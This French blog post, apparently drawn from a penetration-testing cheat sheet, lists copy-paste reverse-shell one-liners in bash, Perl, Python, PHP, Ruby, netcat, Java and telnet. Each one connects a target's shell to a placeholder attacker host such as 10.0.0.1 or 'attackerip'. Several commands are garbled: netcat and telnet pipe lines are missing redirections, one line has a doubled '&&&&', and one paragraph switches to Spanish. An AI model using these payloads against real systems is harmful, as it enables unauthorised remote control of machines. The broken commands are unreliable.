Exploitation

Comment Créer un Reverse Shell

Si vous avez la chance de trouver une vulnérabilité d’exécution de commande lors d’un test de pénétration, vous aurez probablement bientôt besoin d’un shell interactif.

S’il n’est pas possible d’ajouter un nouveau compte / clé SSH / fichier .rhosts et de vous connecter, votre prochaine étape consistera probablement à renvoyer un shell inversé ou à lier un shell à un port TCP.

Vos options de création d’un shell inversé sont limitées par les langages de script installés sur le système cible – bien que vous puissiez probablement télécharger un programme binaire si vous êtes convenablement préparé.

Les exemples présentés sont adaptés aux systèmes de type Unix. Certains des exemples ci-dessous devraient également fonctionner sous Windows si vous utilisez “/bin/sh -i” with “cmd.exe”.

Chacune des méthodes ci-dessous est destinée à être utilisées par un simple copier/coller. En tant que tels, elles sont assez courtes, et difficilement lisibles.

BASH

Certaines versions de bash peuvent vous envoyer un shell inversé (Testé sur Ubuntu 10.10)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

OU

exec /bin/bash 0&0 2>&0

OU

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

OU

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done

OU

while read line 0<&5; do $line 2>&5 >&5; done
PERL

Voici une version courte qui dépend de /bin/sh:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shell inversé Perl plus court qui ne dépend pas de /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Si le système cible éxécute Windows, utilisez la commande suivante:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PYTHON

Testé sous Linux / Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

Ce code suppose que la connexion TCP utilise le descripteur de fichier 3. Ceci a fonctionné sur la plupart des systèmes testé. Si cela ne fonctionne pas, essayez 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
RUBY

Voici une version courte qui dépend de /bin/sh:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell inversé Ruby plus court qui ne dépend pas de /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Si le système cible éxécute Windows, utilisez la commande suivante:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NETCAT

Netcat est rarement présent sur les systèmes en production et de même s’il existe plusieurs versions de Netcat, certaines ne supportent pas l’option -e.

nc -e /bin/sh 10.0.0.1 1234

Autres reverse shell Netcat possibles, en fonction de la version de Netcat et de la compilation:

nc -c /bin/sh attackerip 4444

OU

/bin/sh | nc attackerip 4444

OU

Si vous avez installé la mauvaise version de Netcat, Jeff Price fait remarquer que vous pourrez toujours récupérer votre shell inversé comme ceci:

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
JAVA

Siempre presente cuando lo necesite, el lenguaje “Java” también puede ser una muy buena solución para establecer un shell inverso.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
TELNET

Bien sûr, vous pouvez également utiliser Telnet comme alternative à Netcat:

rm -f /tmp/p; mknod /tmp/p p &&&& telnet attackerip 4444 0/tmp/p

OU

# Remember to listen on your machine also on port 4445/tcp
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445

Related Posts

Comment Créer un Payload Metasploit

dotweak@admin

Leave a Comment